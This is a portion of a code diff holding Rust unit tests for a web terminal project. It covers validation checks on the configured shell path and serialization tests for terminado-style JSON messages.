fn test_command_not_in_tmp() {
// Commands should not be executed from /tmp (common malware location)
let command = "/bin/sh";
assert!(
!command.starts_with("/tmp/"),
"Should not execute commands from /tmp"
);
}
#[test]
fn test_command_not_in_user_writable_dirs() {
// Commands should not be in user-writable directories
let command = "/bin/sh";
let user_writable = vec!["/tmp/", "/var/tmp/", "/home/", "/Users/"];
for dir in user_writable {
if command.starts_with(dir) {
panic!("Command should not be in user-writable directory: {}", dir);
}
}
}
// ============================================================================
// Logging and Audit Tests
// ============================================================================
#[test]
fn test_command_execution_should_be_logged() {
// This test documents that command execution should be logged
// In the actual code, log::info! is used when spawning processes
let command = "/bin/sh";
// Verify command is loggable (no sensitive data, reasonable length)
assert!(
command.len() < 1024,
"Command should be short enough to log"
);
assert!(command.is_ascii(), "Command should be safely loggable");
}
// ============================================================================
// Integration with Command::new() Tests
// ============================================================================
#[test]
fn test_command_new_prevents_shell_expansion() {
// Document that Command::new does not invoke a shell
let cmd = Command::new("/bin/sh");
// Command::new takes a literal program path, no shell interpretation
assert_eq!(cmd.get_program(), "/bin/sh");
}
#[test]
fn test_command_args_separate_from_program() {
// Arguments should be passed separately, not in the program string
let mut cmd = Command::new("/bin/sh");
cmd.arg("-c");
cmd.arg("echo hello");
// This is safe because args are not shell-interpreted
assert_eq!(cmd.get_program(), "/bin/sh");
}
// ============================================================================
// Summary Test: Complete Security Checklist
// ============================================================================
#[test]
fn test_command_security_checklist() {
let command = "/bin/sh";
// 1. Absolute path
assert!(command.starts_with('/'), "Must be absolute path");
// 2. No path traversal
assert!(!command.contains(".."), "No path traversal");
// 3. No shell metacharacters
assert!(!command.contains(';'), "No semicolons");
assert!(!command.contains('&'), "No ampersands");
assert!(!command.contains('|'), "No pipes");
assert!(!command.contains('`'), "No backticks");
assert!(!command.contains('$'), "No variable expansion");
// 4. No null bytes
assert!(!command.contains('\0'), "No null bytes");
// 5. ASCII only
assert!(command.is_ascii(), "ASCII only");
// 6. Reasonable length
assert!(command.len() < 256, "Reasonable length");
// 7. Not in user-writable directory
assert!(!command.starts_with("/tmp/"), "Not in /tmp");
assert!(!command.starts_with("/var/tmp/"), "Not in /var/tmp");
// 8. No spaces (absolute path only)
assert!(!command.contains(' '), "No spaces in path");
println!("✓ Command '{}' passed all security checks", command);
}
+311
View File
@@ -0,0 +1,311 @@
// Copyright (c) 2024 Jason Witty <jasonpwitty+socktop@proton.me>.
// All rights reserved.
//
// Unit tests for terminado.rs module
use webterm::event::IO;
use webterm::terminado::TerminadoMessage;
// ============================================================================
// Serialization Tests
// ============================================================================
#[test]
fn test_serialize_resize() {
let msg = TerminadoMessage::Resize { rows: 25, cols: 80 };
let json = serde_json::to_string(&msg).unwrap();
assert_eq!(json, r#"["set_size",25,80]"#);
}
#[test]
fn test_serialize_resize_large_dimensions() {
let msg = TerminadoMessage::Resize {
rows: 200,
cols: 300,
};
let json = serde_json::to_string(&msg).unwrap();
assert_eq!(json, r#"["set_size",200,300]"#);
}
#[test]
fn test_serialize_resize_minimum() {
let msg = TerminadoMessage::Resize { rows: 1, cols: 1 };
let json = serde_json::to_string(&msg).unwrap();
assert_eq!(json, r#"["set_size",1,1]"#);
}
#[test]
fn test_serialize_stdin() {
let msg = TerminadoMessage::Stdin(IO::from("hello world"));
let json = serde_json::to_string(&msg).unwrap();
assert_eq!(json, r#"["stdin","hello world"]"#);
}
#[test]
fn test_serialize_stdin_empty() {
let msg = TerminadoMessage::Stdin(IO::from(""));
let json = serde_json::to_string(&msg).unwrap();
assert_eq!(json, r#"["stdin",""]"#);
}
#[test]
fn test_serialize_stdin_special_chars() {
let msg = TerminadoMessage::Stdin(IO::from("tab\there\nnewline"));
let json = serde_json::to_string(&msg).unwrap();
assert_eq!(json, r#"["stdin","tab\there\nnewline"]"#);
}
#[test]
fn test_serialize_stdin_unicode() {
let msg = TerminadoMessage::Stdin(IO::from("Hello 世界 🚀"));
let json = serde_json::to_string(&msg).unwrap();
assert_eq!(json, r#"["stdin","Hello 世界 🚀"]"#);
}
#[test]
fn test_serialize_stdout() {
let msg = TerminadoMessage::Stdout(IO::from("output text"));
let json = serde_json::to_string(&msg).unwrap();
assert_eq!(json, r#"["stdout","output text"]"#);
}
#[test]
fn test_serialize_stdout_empty() {
let msg = TerminadoMessage::Stdout(IO::from(""));
let json = serde_json::to_string(&msg).unwrap();
assert_eq!(json, r#"["stdout",""]"#);
}
#[test]
fn test_serialize_stdout_multiline() {
let msg = TerminadoMessage::Stdout(IO::from("line1\nline2\nline3"));
let json = serde_json::to_string(&msg).unwrap();
assert_eq!(json, r#"["stdout","line1\nline2\nline3"]"#);
}
// ============================================================================
// Deserialization Tests
// ============================================================================
#[test]
fn test_deserialize_resize() {
let json = r#"["set_size", 25, 80]"#;
let msg = TerminadoMessage::from_json(json).expect("Failed to parse");
assert_eq!(msg, TerminadoMessage::Resize { rows: 25, cols: 80 });
}
#[test]
fn test_deserialize_resize_no_spaces() {
let json = r#"["set_size",25,80]"#;
let msg = TerminadoMessage::from_json(json).expect("Failed to parse");
assert_eq!(msg, TerminadoMessage::Resize { rows: 25, cols: 80 });
}
#[test]
fn test_deserialize_resize_large() {
let json = r#"["set_size", 300, 500]"#;
let msg = TerminadoMessage::from_json(json).expect("Failed to parse");
assert_eq!(
msg,
TerminadoMessage::Resize {
rows: 300,
cols: 500
}
);
}
#[test]
fn test_deserialize_stdin() {
let json = r#"["stdin", "hello world"]"#;
let msg = TerminadoMessage::from_json(json).expect("Failed to parse");
assert_eq!(msg, TerminadoMessage::Stdin(IO::from("hello world")));
}
#[test]
fn test_deserialize_stdin_empty() {
let json = r#"["stdin", ""]"#;
let msg = TerminadoMessage::from_json(json).expect("Failed to parse");
assert_eq!(msg, TerminadoMessage::Stdin(IO::from("")));
}
#[test]
fn test_deserialize_stdin_special_chars() {
let json = r#"["stdin", "tab\there\nnewline"]"#;
let msg = TerminadoMessage::from_json(json).expect("Failed to parse");
assert_eq!(msg, TerminadoMessage::Stdin(IO::from("tab\there\nnewline")));
}
#[test]
fn test_deserialize_stdin_unicode() {
let json = r#"["stdin", "Hello 世界 🚀"]"#;
let msg = TerminadoMessage::from_json(json).expect("Failed to parse");
assert_eq!(msg, TerminadoMessage::Stdin(IO::from("Hello 世界 🚀")));
}
#[test]
fn test_deserialize_stdout() {
let json = r#"["stdout", "output text"]"#;
let msg = TerminadoMessage::from_json(json).expect("Failed to parse");
assert_eq!(msg, TerminadoMessage::Stdout(IO::from("output text")));
}
#[test]
fn test_deserialize_stdout_empty() {
let json = r#"["stdout", ""]"#;
let msg = TerminadoMessage::from_json(json).expect("Failed to parse");
assert_eq!(msg, TerminadoMessage::Stdout(IO::from("")));
}
// ============================================================================
// Round-trip Tests (Serialize then Deserialize)
// ============================================================================
#[test]
fn test_roundtrip_resize() {
let original = TerminadoMessage::Resize {
rows: 40,
cols: 120,
};
let json = serde_json::to_string(&original).unwrap();
let parsed = TerminadoMessage::from_json(&json).expect("Failed to parse");
assert_eq!(original, parsed);
}
#[test]
fn test_roundtrip_stdin() {
let original = TerminadoMessage::Stdin(IO::from("test input"));
let json = serde_json::to_string(&original).unwrap();
let parsed = TerminadoMessage::from_json(&json).expect("Failed to parse");
assert_eq!(original, parsed);
}
#[test]
fn test_roundtrip_stdout() {
let original = TerminadoMessage::Stdout(IO::from("test output"));
let json = serde_json::to_string(&original).unwrap();
let parsed = TerminadoMessage::from_json(&json).expect("Failed to parse");
assert_eq!(original, parsed);
}
// ============================================================================
// Error Cases
// ============================================================================
#[test]
fn test_deserialize_invalid_json() {
let json = r#"not valid json"#;
let result = TerminadoMessage::from_json(json);
assert!(result.is_err());
}
#[test]
fn test_deserialize_not_array() {
let json = r#"{"type": "stdin", "data": "test"}"#;
let result = TerminadoMessage::from_json(json);
assert!(result.is_err());
}
#[test]
fn test_deserialize_empty_array() {
let json = r#"[]"#;
let result = TerminadoMessage::from_json(json);
assert!(result.is_err());
}
#[test]
fn test_deserialize_unknown_type() {
let json = r#"["unknown_type", "data"]"#;
let result = TerminadoMessage::from_json(json);
assert!(result.is_err());
}
#[test]
fn test_deserialize_stdin_wrong_length() {
let json = r#"["stdin"]"#;
let result = TerminadoMessage::from_json(json);
assert!(result.is_err());
}
#[test]
fn test_deserialize_stdin_too_many_elements() {
let json = r#"["stdin", "data", "extra"]"#;
let result = TerminadoMessage::from_json(json);
assert!(result.is_err());
}
#[test]
fn test_deserialize_stdout_wrong_length() {
let json = r#"["stdout"]"#;
let result = TerminadoMessage::from_json(json);
assert!(result.is_err());
}
#[test]
fn test_deserialize_resize_wrong_length() {
let json = r#"["set_size", 25]"#;
let result = TerminadoMessage::from_json(json);
assert!(result.is_err());
}
#[test]
fn test_deserialize_resize_missing_rows() {
let json = r#"["set_size"]"#;
let result = TerminadoMessage::from_json(json);
assert!(result.is_err());
}
#[test]
fn test_deserialize_resize_non_integer() {
let json = r#"["set_size", "25", "80"]"#;
let result = TerminadoMessage::from_json(json);
assert!(result.is_err());
}
#[test]
fn test_deserialize_stdin_non_string() {
let json = r#"["stdin", 123]"#;
let result = TerminadoMessage::from_json(json);
assert!(result.is_err());
}
#[test]
fn test_deserialize_type_not_string() {
let json = r#"[123, "data"]"#;
let result = TerminadoMessage::from_json(json);
assert!(result.is_err());
}
// ============================================================================
// Edge Cases
// ============================================================================
#[test]
fn test_message_equality() {
let msg1 = TerminadoMessage::Stdin(IO::from("same"));
let msg2 = TerminadoMessage::Stdin(IO::from("same"));
let msg3 = TerminadoMessage::Stdin(IO::from("different"));
assert_eq!(msg1, msg2);
assert_ne!(msg1, msg3);
}
#[test]
fn test_message_clone() {
let original = TerminadoMessage::Resize { rows: 30, cols: 90 };
let cloned = original.clone();
assert_eq!(original, cloned);
}
#[test]
fn test_resize_different_values() {
let msg1 = TerminadoMessage::Resize { rows: 25, cols: 80 };
let msg2 = TerminadoMessage::Resize { rows: 30, cols: 90 };
assert_ne!(msg1, msg2);
}
#[test]
fn test_different_message_types_not_equal() {
let stdin = TerminadoMessage::Stdin(IO::from("test"));
let stdout = TerminadoMessage::Stdout(IO::from("test"));
assert_ne!(stdin, stdout);
}